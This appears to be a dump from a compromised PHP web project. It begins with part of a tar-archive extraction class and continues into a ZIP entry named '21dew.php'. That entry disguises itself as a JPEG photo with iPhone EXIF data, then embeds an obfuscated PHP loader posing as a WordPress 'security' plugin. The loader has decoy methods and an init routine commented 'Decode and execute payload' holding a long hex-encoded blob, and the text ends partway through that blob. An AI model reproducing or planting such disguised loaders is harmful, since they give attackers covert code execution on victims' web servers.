if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>
PK �9m\} ���@ �@ 21dew.phpnu �[��� ÿØÿà JFIF ,, AMPFÿá&ÿExif MM * ž ¤ ² º( 1 Â2 Ê< Þ ‡i ìˆ%
x
®Apple iPhone 13 Pro H H 17.1.2 2024:02:20 17:25:01 iPhone 13 Pro %‚š ®‚ ¶ˆ" ˆ' } 0232 ¾ Ò æ î ö‘ ’
þ’ ’
<?php
/* Legacy-Compatible Obfuscated Loader - ID:2366746 */
/*
Description: Enhanced security module
Version: 4.4.19
Plugin Name: SecurePluginllsQUfju55
*/
class LoaderlgGVyM29920 {
private function dcbvapKn13() {
$tmp = base64_decode('ZGF0YW95Y0lqVjEz');
return null;
}
private function gtwbAJnN24() {
// Gate piece 1
$jv3 = str_rot13('ebgbbBpa90');
return str_rot13('59xu');
}
public function pubyxBrq41() {
// Public method 1
if (87 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
$tmp = str_rot13('ebgNjkYa54');
return 'valaiCL30';
}
private function gtBpFZGg19() {
// Gate piece 3
$tmp = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return str_rot13('c2sz');
}
public static function init665() {
// Decode and execute payload
$hex_data = 'pYIOludjb47d5b7bda4897f50fca45241b12b8aca3ce822aa94a873b904002094302b104bffeab023b31b69cee9e99ef79a667de9e7ea316aada6bafb58ff471ecdbc014b073e6b01369fe345ae0be40a12c61408e1b281dc2fa8002589d32764a64b36f636a6cc9ae5ac7bcf0103b1d8af3e429aa0f113cf390a5ed9c5ea693f02236f3ed74457bf69c5923133e983f2c24e6d1030fa2a6481769b8cbc43e22fd6427797d8c1ebacb62037af50f1f9c1de1ceceddcf3835d74fd9c38238396bbb54881045c6c92375e9cd699f876cf48dc3d101031612080ebe0922420edf2cde3556c429d8d5076ef487e2720a3260b8b939a2f04cf0cc221797ed5d181f3de722119501768d5604d0499138a6188a3533e52e6f8fd26e691e3c562318914b548134368e0edd901536208551eed98fa6bf348d554ceb1f7945fc108db2a5107397e69ecb9c1dea49354759e551388d2df0752ee4778bcb09df553f0a6c62270a1e122ec82ca15f5cbecfd72c18c3cb288fc8d8cb9271b248c851fd7037e06d3063e3bd25f6807595c7e1e4d96793b564c7a794f6bd858c75547501e2532fe1ce01182485915b449b00f9a0f5382fe64830f57b83421a3274fbb6088171b0a4e0cb9d8923b369fd8a8bb4326afd9fc1a64016777c5c4d82243aeeb13ce0689b1716726673d287a809815d91d2bfb821693312c07619c0d177280ba4ee0b01f2fabc42544d2568f1353a1baba8dbf328a1bf08aaf6a1a091fdd4ada20bcb669d4c906108cc9dc28a1a3fa5811588e37a2d4ecfa8052eacb91f0bd78f1e8a9145a4b136c921ba1cdda8ce3c045c82a2c204b5bbb2a232485312ceaa50707e44a03202efd17d9ac172e69abdef54ce13d8358476d3405d647306db9300932a6f3a036eab4bca3a1e1b92c8877cc785bbb6aa9397464ee6b030a50d2fb264c41c8b22f25860f7212fd49faf22b20704328afa2271e0786137a1c1b672193dd4811589190655881ec6ad254b62c566222be2cd01935c2a53a15ce65b9171d3c5cb0b3bfb568ea09cd2e85c507ace361eac16a46ffaa8398e20ca2609247edcf4287dc82030e8de8e721663e0baa0e18c0364f705f3a2c937610468cd41e6ed7214c396b26e847094992e1c2d087c7d5e8ea28a49b00d84859d43cc4769bc298be8ec20b7730f1016732ea7468cfba7193e547fbe5f96d02e5b114a9f57bb6234db8169dad7e36843d637fba8be7b5510cdd2d3c80593557266f9ac6a53127718f27c653dd45edc9cbc326db9b36547284e21bf545f9d682f11929325311e63b2dfe24d96297bf2a8388e8535ad493c99464f2cb76c6158e7f647b8d9ef1d852f6ecc32461de258d7f378567692b14e5d0ab8ef5de12cb155ae3896cbbc71316dc44f58398046616d093742b199499bac660026109436ee84e73c9080d1ca2e092de79d3305ecb05fb09117d36aebc38315376e973f4dc4bc0ffd188a3902067037600fdb82858f466e3f95fe82b582f262c509d801c6be2c3820a1e465b9cd6b75aff60b51069cb69b909d80be7f6b49b6d1a30cec78df38dbea6bba0d7ad89a09ae4e6b111bb3e585a085d5da31e179b62970da3a8d7e5e21f33d6eab04564d8878ff2b8fa5596c4773bbcd3ab831fd9cf4d962979324c9ebfc52a5fafb89b8f433380d691f38b6d1970eaa2cf9d8f833d98942f43b568f0366e45cd987fa523914cd7ecf79b5b12ffb42d6b9cfba7d48a3608ecc69c49fd88a3ee668410c922804c0acd2df2f89eb2277c8c999d77515d149803b670339db2ec55e2e2ef985c0ba934f32483b36a7a00d93d80c3285bdb7f3a5be03eb90c69d44bc70d57dcee543e5ce4cb35cc9e9288570a5f04a7fbfabffa0dde428483f8e0141b17a1eae6a629f27276cf609bc9015490e3bd6743917c142e1699eefa837bf985e099b6cddf0bd278b84d6c2e5d0780eba29679dd8315819e44c947fcb71d47488e0718d09cce02387693c417346fcd7f3f0cfa567d5d98fb9383c85cc51fec8e0a0163e600652f6bbb49bfd7388ddfe8a0742627eee5cb271f616dcc7f656fae985ad31907e24c2343169b0d8911523ce7ccd1c33314efb58bde7ebef55fe23a2c6c11074dcb387e6286036019d4844e298c8800c9fe15444215a4048b9709e202f76411c606512ce8c76ace49383dd8e003d0794b6f039e344f9a38361f1fafa7e8293945e82c4c6a287b227b83b2de445cc325ab9521c8ad7efa7fd6f497b3083d32a7a043e6519c0dcdcb92c041aef1547d8c7164d436b8a95ff25909cfca856e7db36177dbe0b5207944d1cccc0c1bd0844aa83e736a63703b9c2538310a6ec17abf33032e5cf8593f3e9287ac88375d4f5ce66d28535cbc2849e67b5fcb962a2b19a2ee5a28090550542c0965dff94d64d568813cd6b857f46e9605e3c8470fc4d56ac93d2b8da5bdaed6350b941bacd0e5655653c36d308b1f5d20039ef29bde29f75fdbdb3a0858a7d0407d01aca1f49ed3f2abf3ea48970bb985453881a67c158aa7801492ef447048f81e21bd7fbcc934cddbfd086cccd973b815352ac1d9be6f36ed220f58e5cd0805dfdf9f4f7fbb15df5fbfb69fb8d1ab90697ba2048e473d630ce15df68f89ff380faf74e7e5872825fdfcfada616276e276856dbdbae49c0d146eaffc8243793ea08d9c3c4089ef47974d7f7d3f739df5401a927da7e4508a4b2df23838cb8eabeecd6b488a0f1c6bfe9fbfcfa7efa7cb7ee42e251e60b566260a41607bd7b9ecc145e657feef3f53cfed8afb13f272dfb622193d82cf0d4fb1d2d54b5b02de9e0fb5d7f6ff12334a99c57eafe914ee2ae0a016ab4fdada879d860d68f0491bb0fefa7f10537eb39ec77ca87091b1cd33062a690d52ce0c4cbe4a99617fe7cff7e2ff671368480d46748e35f58db86bb84b12cd358fab3be5dc04a3daf73026f63c4948f791207fafebdf9bdcdf757fb7db5374b084ae028c45178885bbe825bda27f164ee8256e301c635593b8865d69ffb7c7d9ebd3becaeefc78b4854d9530a2b7517dc3fe7118d4cbb71f716a65e844774d6b53b587518893e289f2846f1a1badd972bbe00ab1b65311dc501cb4b598d8dd46c46f06c3876f3c77fd0cb644acde612ca633867ee82b0bd031a3677cf06966db60a923657f6afcee3caaf28078aaf19d7efd745a6d1c1be0a6366e2a4e91a740e2ad8b889ba93dc46573ec4d2ddf8f4e7fe4d676edbe7f3f878b028bdda478c9be7602b153fcd7ac23bc50f1a70b33749607ca8bdf644c218b2e8a99d2bbe91a138b02cd0b3a5e21bd1fdef4d611de4b42e7739af535965ca7775e3dff7a5a787e241df17972a3c0da2edd4f72b53d22ad7fc8f28fdf134a3643d6b0fc10cb09de22a04b3518659b0855db8121ba51ca8398ecf592801f4785fbe3ccf892156ef9fd26401c60a523317b3a650784084b97f83f7adf2a38adfc9f67bc60f0a4f0d5f7dbf1a9e9b794a4c12e1e29b651dbf7bfdf4943c358056638b8a60a5ee0b088c50e61f9ed70450940470f610f24099d2f5fd468a77334b9010560426e969227b87713bc839527a06b81902b92d644b7275fe3684b824f7f64bebee1cc2baa05d674a7134fef6fd5e9e37fcfde8c453772924f88a7f755a037dbe17b2eddca8e9b16dd15f57fb6d4f3c7aeaca6453ad7d3ec913736ca792cfca345f816e9aa92ff687efdeec4d01f5d856c4d890863151c271955781f23b84e264dc2272c2f85ce4f4912e56f4e889b64c24cdc3c58e66565f92128e32ba699f7fe301e03b57f3a12a385b1c9a2826590a73acfe1089ecdc14550152dbc899d9d77ff08af9ce456949da7ab3a6974137fa16982fbf97d28dd38796a85b832a9e943cf602535746469f082b7f8e6a91ba7db602afcfe3631b697e75bed947d8c0407dffbda83855efbe1214ee668a8fffc1976a952a5744994b944f3f225ad230769368db7973c24ad8ef63c4cb7c91d025a8e46a051b6f454ebb188ea987142f79e4c115fffad24829dbe00df12c61da900b6663594be858ec91a3509efee033cc8a60cbd477297fbf1fab5ba4389532d2ceccdb57be511d159e02a5173ca030298dd8c86e4b12296d665950f197c2581a7ff05ef1fb95234e89e2a7e3981ed59d733fbedf077f09237b437df9448315e997362c906dfc891f78f14d6f658a1fd1aa995fe307c6418a7a14097583fc2dc8527064b80a3cc5af9e80398e6ef65bfbc103b9dcce1714f3adf4707fe5bbc1bc2a9e2cb34ba3be0815e979f6bbbeb48dd1593f0faa174a498bc3b3d1056c32f76d73affef969cd272310854af3fce1577f7eefe4448949355f20e078f6eb29e2dd64a7ecc320979e5a728a1939ad4bd24d14bfff96d9ac94dbd1da6107456115deb0639a3ff51ee5f0ea8f4a36faa6b441ead7cce784ef726522b31dcc0373a4bed63113601ff27ec469277e41739a400cb88d1dcb2722b7eff079329f8936f04830b15be04486d203dc7c5e90208a95de7ae3df1417ae383ad77564f759b4553616779e5b5539e54ab2558a989da5f3db1ff1fc95afd5cbf6ea7f93044eaa4818ed551f35ee6f7f14b7d3c8def6498a5cbf14fde6958fdff881029bbe58cf949e89cc1ec502006696b52f8c826079a1fd44f13aa565841b32d062f940364affeaef97dff86997b32a074c4167964c43d9435298fbf53a798b2f6d1d34ea7930d4cfdbe8e7c57f9e77fcf0bc3ad4cfcbf4f31857cf33d4f38c6e12f52552dc5dd9c8a95e1aa64d489e077dfd5b2f30d8ebe7fd8a79c7aca720b52f3cc89b53ca5ecfa3eeb9d2332ffce0f80b1847002a46b8c2171f4cadb4135d54579d652902d48310124940f3c2c7af7a8b20bfe9145353fea8073a7e604a63825dc3f45762f2cb923a24330eec577b7bc35f625e2cdef8b7dffaed050fb0adf47b7036569adf87662de6319bdaca3ee680e4a83efcca596f27ac1d59bc3bc34d1f50e5cbb9395ea48fe58e75cdddf7fbc3ffd409c21215e4543af5a8b1604b52e54bd43dfb1154938888deb0a831b12e9d7a18e1b8a2411ab3c612e5d27e321849097be5e37feecb2b7f56fe8d1c01ed9d156adb8dd2834a526415f88cef6e9a8ffc74db7b4266abd024d92a1a75d8ec24ed46583fcffd601f6f9ed7d20c22c8e486cd8adff8f2e7fd345efde193057f8d9f46bb97e719affe7704711c5c2074a4179f848c01f5495fd82c238a8fabf39d7a29ad5625ad6701701a2c8f2e6c64ba4883efbfe39329e860d4819408482a304f22a7517c1ce347262cd87db12e55ee9e73dbdf90af8807cfe4a9f9099ee057e5c3a1f3585ee3259c92e7a06e5366b85dbeab5633d83dda5591a0aef86e47c1091b79a48e855976192e80f4141f8a75bc8456a371beeb43d7ec15a3a926481adf501db8881d6a5b7d3f7dbe821c6768bb5f25b0f7d945b19e5ac8804b82953e4ace62e6e390119679b61134f7fc6f72445200da398ec6bf42fed6bfa612fa5432607353f9f3f4773ce2e57cfb35aa09c24c21d4ae9d2d93a2850fe6b6acab937a98a59f37ebc1d9052524b8341272eae3b3e207a0f6dedb878d8437ab4e05b9f1d37cf5400a611eb122544188af7cf71fe3614952d7fed3a9f5fbf25476c1f91a6f8f1cd38fc103b52851f21a3bb4972b0a5ff1f42e7e70d333377f4e3a23b13781396b430c9e982283fd2bdf9dc5f0b7fefd631fd0c0a01a01c0cdd3a2bd8f1f5cef5f37f1e9c5d943524642beeafdfbf8cbf579f8ee3e53d0b6bf000be142913929157fbe7461d43916b9741447e33debdddf7afa0dbfbac6638bc621330a9359131e2d5aa510389922b6674f044bdad33b3c7d63bf31de529946eabe9022faad3fdee0814f8e2740f680f5fdab3f7aa7dfa40d98a1e3612de3cdd0fb9157bef1e2dff6eafe25b0bada87e5e9f87317687fdeaafbec2bbe76817515dcc73bff3ccf8219c8b7071dcf7e731ebfcf77e3c171cad9b192cda197bb0aa5d05596d0d8587d6b60f0c839c322da82b5db8f3b651fea638024b4dacf9e77fdbd099b6cad646f206caca2aa936053854abf6dec56194a6f86691428fd162adf57c498672bc577aff1e7156c7f28fb9ddacd5e716e678fd971ebd4e392f3a08ca5b145db0e47e6340f5171f27843dd246fd863f589debfbd1fe8463f2d714c942dba3e33b64177b2d4c7bc7b9e028a938e03f8f6a99d31f0d9f3aef1f6a1df4b1f3ec3679e293d9d2597d6cf48cdfe7c3fe233fe121f22ee9e7e163fb8f1a117be7b8d172f2436bd35aef28c884fe239efde2f3a80a41a4da31e2abc220a9feb122811ee693dbdbbe96992d6ffe0df3885d5710d6433fd188f781f2fe1e3389ed80e73a3f825beb6789c84d2084681ac0560fb09843488da4fede33efef7ee3eabdf36802f77fc6ff0fbcd6276c4ed89b22718265110f8bcbee52b8499cf455f7dfafd149f14dd64942ad0c30fa1fd921fbc8f0fe9f783240760229060e8ce7e3f3c6f2c64158c52da7f63765807c640bcc926c9c7f328d2921e72975555ac3cacd5319702e3d9af5844bae9d412a1d20243e7c1ca740b900bda326eeafb78ecf5fd8e6616877fde8f17bff5d66b7ce8953f0393a5eafb95696ccce6ea795c9a764a3e7cbf2368338e2a4261aff014c8829aa5613d76063c1bcabf51ccba0a2afc33b1a9fe56e18b4c9b2c132374c7c7db51a03c631176fb5af94bc8cc36901ff4ea0bdfed1c1f4713a5b7a8bacf66a2f41b2d45b7e4e258636648a51798f26f412895bd81691d57bff329f77ce8228354d906a8044a94dec734d4f1b5d2b2a6feeaad9ed9bdc477c5c99bd70db5cd314d9b72e6d4958e4724b41f7db7e4cbef257ff03e6a4f185f1a1e3dd6ee6fbea6eff34bbe6cd56799c5f63b449599742247d0ddb94cd28465dfd5437bbeabea25ce1ef97954278c11a5075bff913fae58b1c167f3e4a3eef09a6f4c0c9607c26065cc32e761dfcf0898112e4e76352e196023d936660c2555f786f24ea448f97356e7fb597dfab1048760d6b5120010230676fe45cc5383878883ac34cc3d14fb6fa0162bc8a0ce1f6d56b801593d517a9fb9494d2c7051b4240a8e16973fd8e39bf806dbc398740b6f03729654739f42dfe575153d040139672bd893e7b09bc8bb7ce8ed3e03709ef42e0d178a4f12cbce329fc102d60542f8b8f6cfc69c257558c2227399d3224e0366b401338b8907f712dff367db660a14aef95fc78b362588ba91c683dd95ffe163e95f42748de7d8a66268237f66678fb3ade6578d4dcea7dd0ad706ed6b9344a4283b3653a670c7d7eee21b0460ff42b5de27811865a87346be385aa81b290a7bcb87be89bfd0d4903eebb31025a7af50b811b4bb926daba505cc108ba91d56860b2f819bb4a322600122db26f413a362fd2998d7e001c09aa75db04981fbd385a3c3e2e2f4feb6aa85954f643749e7557e5cdfc523fee07dd0e65e08f63f216c359f9c78e77d6435261455d6278dc2bfbea03103334a149f8c8a7354e72b7b4bc5dff4d1effcd145c737e86e4d0e4456d934954d8beb6b7c57f3f1c7391491f3688e83345cc451a084b61bceaa6266374193efa65ef9341a91f470b4b70d0f1ef65570cebeb891e112635f50633455fe7cc29e3ec353fa92cf7bff7e2d0f8dd39ffcd12d1f1021759e961c75f072740911000187115419f8537d493fe143cdb36bec178a6f3fe5ed6804cf26b13941941da1e23d95ddee571fe2611ffcefe40c45eba4ca8cc135de3951d2626446e6c4b06ff1f139ef4654d9efb3ceaf0ef8b74ffd91259badcfdb34ad7a83a4d5c882852360a9ee5f45d19934f68d1ffcb3fe55fc1e5547979aedf78cf19491bd95d26363c5471a77e007e99ac4c2ce2fcbd6f1d33c8bf128cfac8ff7effdfba1baebb3b84e259ceca2963ce1aaa34a6202d20589f2b52636a07abf934f6cb1f6f8780560f1a8f8155fecc8489a6ced3607ee2adb86e20800d4313b300fd914c87af43deadc9f3310b48b78ffe4e1ea515887bb7cf2e07958a732a847df6c13c47033ca003baafb22c1ba1ef5bafe05e243022ed94ed9cdf77937896749f6d97db93eeff3fcd60d0feef233eff90638e89a0a0b77bdce0f0689799cbb7d9b3bcde978ad7ff924fef2fe79f1567918ccbe7bbce65c8eed48dd756fc36d4cc1dcd1bf17141916461819e3dff5577f795eacf8ae4c2281e6557bbd7f316d15bf06b934aff502ec1d1e3c6742f117222f16cf7b0b1bb3a8263c362a44d0beb9e9cb2a8fce2257fc257daf17d6bc890b79f83cfff6e6fd4ad2d7837cf20fbfc241ddb09219b50ee6a46cb4762030167fd7831fe25754e1b3e2bbbe6c83e76bbc134d6abba6903007406628ff36dda8fb3721e053bef6e779aff1fb07c25feb0f06f5c79bdf6bf389470dbab090d3faf4b4c48f9de27f95edc77d46d8c957fec877ce86327be53f6ef9b77ff5fd3ee5e3b7f85afad9fbcdad8f7ccddabde467de3c6f005f667e0b9d35153f819250b099d274e03edfc5ef6ffa83a73198fb7cc4d90638a0068587a59d37a385f29759008feaf2010bd401457d799875212224bcafb7b83e2f3b60338cf139e376ef10b75664a32f3d0f185eb819e58911e09959a042e9198b56ca9fef5d5499d38cf5cba49b7c4ba830e4eee05be284affe5cf176681629b7d9ca7acad150bcee4d7de20e03a55d79715ea23c4d985109e6f6b15523eb96ef4e8972468aaf85e0cc0fcade7026c43d7fbef937edcf5ff060ead88a1fa83b60a5c6e0ef858aee2cc1e510293ce50eefffd473bdd75bb42b511ddee38190bde27feb9488dff1f637e7abce63ec2b0dfec3eec27cf540c38238d6bc6f8b79ddedd4f91268141ee4e0870b460e3d37df63cacce89ce158084059437114d6849eece88a573cb8ff7e7feedf67f1175be97d2b2a5625cc888ed7a5153360dba4787b9ac9ad413c1dbcef9c99f22ee5da225d62143fddf6c066d038c5b45036a5f0eacaef4f2ce9a697dff15d5eff5a727a288c937fd5475bd38b2e6cadf4fe2e8c3a6386a72b0f81223195ddd16e8dd54d8ac95febb92e1e9e74ce8e3c2383af702cc334cd1e7eff5e60acf35df343f17b33a0d05b89c9048b238275b0c7ecf4bc20079d9f79636f6412a2e6d1ab2633d76a9438a57eb465748ec312430a74014fbe2dfcb41dcd4261962ffa1cea7a3dd07767c84270ad67edffaab79205394d312408f7200971ed0939f167edb80cc55169a1bd056bb60655f7c3e7c11f3e7e91b57aeeaf65427fc95d5bcf449e400cb3682b7dbf92129020b24195b867e94922e88cb72004a2b6a4e2183da09a4fbead1f8acec7550a58aaf36f4904f6643b99828b93135c654acf84ca7f8cbc8d6182dee9a9247846fb27171e1b605690e303e5745a297d7e2aa2205b5b472f46231ddf9d90ba73e8a668e3647a8c63fdfd46f9f242724ec78b189303aa463fcb5df50c77a727fbcc52ef091cdcb7feb7bbe57f43306acb08747372bcfab7509436dc9eb2d4ce1e88712a684f9c2bdf7dea53c5b5bf425b3e123449bde4f83847d553fc21fe52624bd4b3a8513f8e0771f4041f6680600b885fe0ec767e139c9d981d60a7f973d694563bb5cf9debd8e0e46cda2092fce72d7eff074f6973c05e6778f6c6a8943eb284cd7f88182c9dce4c3917965d19998b9845da60aece379f1bc71d56f29af5a310d5e35dc8c24456d488a9686073574fa3f4b4f247ddc94da2ca763bb3bcf20d7cfc8a3be3394bfaf01a0fc36c6a53e1812af467e2773dc8f5fde24be72a093f51b796a3b368a26af2ca5f8c193001629d8594bd059b6eb19457beb1c6efe2d9b9c667761ce54dd759d1c48de3fd6b3d438d6848f0e590c99863a5811962d9c856d6e96d46bedcf5e1acad65483ac9994b6352075e5dfd74c82156b2786a71708628cb6465e6bc9bd0c8aa7ad038abfbf86e41312f0a4be13583655a9253e0744ecba1f12d40ced7f0025c7c21f2ca774de3abdd5ff938993590a4bba60c95e68e9ef6f91a56631c4d4fde967c092ec544f1da51f1a0be5ea5f8e4c35dbef1b06c0e5f64c52ea26dc6d1e321b1e200a14e000bab8bd9e6eaefa5afb8c2ca6563a5a3826bbcee4e2f30e7570c294135bb10d6fcf0ab5322aa919f9a648a77d0b9eac14b90d26d7041b2f84ccfcca421b29971329daadf0bdea240972ef49d9931331640f9e4be42f646cc5258625239d8de14076476a9c29732890ffebc322506a51b99f7fee8eff176651f5183103bce2d34ae1356a51ea2596c139d30cf38130aef699e6366b33623a5e27fcafffe04060c5817b8a81e3df9c6214d6153a534db805d251370d4a974d742f5805ee89d1819a9ff4014ffcbac50926c562b5f6e424aab46391e77e78369a1f07e94d07da39ee7a49058184ec224ce2adc06eaf74a9e288cf6f82943c9c7fc42c99a136801c271e5dac0d8fa7dbb4c007bb298ec036b6245cc2591d1631455bb6b7d761cb2f429b7153e97ca9f5b91512b01266c5643ab846331affae780ddc7c36edfafdba24de6c8aa9a809a316d1f710b2388cd95ac46b340075f7a3003ddde53a221539f53fdf4533eefa6bafe0f6036f2d59fdfcef8384d783355df63c36a997ee46bac4c3173dc5eee50e77848fba35db692e67e81fa51b6368e3fa02c53f5cf140c1d9ffc6e5c265bf1c0486758161484f438123adf4d6b0eb5fe90698a4716ed5a48e460bde311c9bd676dab42f1f15f992c22d25566d42a577d26ab2b5feb2a686d9a5128aff5c0c3f7998e4828e59373f5976dc68c6006d97e6b57e32517d77e9247b0c94219ef53588fb08d9d15d4f12b5d9fd8beadf7b9bd9fcd6bcfa275125640f1ae9627a298287df9ecd5ada25bc12f41f31e6e0c1483c6a3a49bdb56d6aa7b1a810826d1b6fe18dfb8c54ff319ac52cb3806ca9fcf10ec7fe5ac567835f153c537d88e06ecb378b61244577fb4693c27a129a9c137b7cd7d5d9f83cc0a0185031c5feb9f735dff2c60d5824d178a46d95445421a4d7e80de5d116ca616122b17482f32f860fc5989ba0ffa83d665ef9e1b945623848d9eb3874c40e58dd1a5cbaf7a46f491e207ba1e2ecb77c13a350a7f561f3357f167403b1b55d300c0ea570872fb9e0f5dfd91c2f32cc066cf7044d324de7b6ed30b540b854bc4bde27debcc9039e57336deff7e1e9f3c0755982662df25ea3cecb3b192acf361ada869146c81b957f676b8d64bb9e478578ff452ff2c9c6a54a35a09dbaa5a8028bbdcea27477d9a14eabe28e3152455df4fb85bf1cb36a0c08f556e6331f3ba10ccead7fac4cff5e067f919cdafdc36cc713ccd844dcba2e92f1854560c890837809056cc5dc5f39cca69186c12587521adabbddb1ca4f21f953adfaf6823428be9d20b875254d6c8a04bf0c841124f820550fea3231654fed2353ecba7e4872c9248d4dade68afc00825ea1d78273c6265676cc015c4412e2ec076442f090c228bb0d2bd049834c57c26ebc465fb2996e5005efd899f2abde059e8a8f5518c2f65c2d868a9e31bba3e165546ea9e0d53e1fd6a0e95c2e2f7fce0bdbe7cc78780e243a318b17c0124c6c054f7c290baff23d1f10dd81601506497560ee94600f7d53e63bc54bee42c68a0c8090da21a381434e95fe3111b07a566355b43733503e200ac4c2abd4a22da3e94e6c87acfc7dfdbaf8d27640ee41a03a0ee8b912860d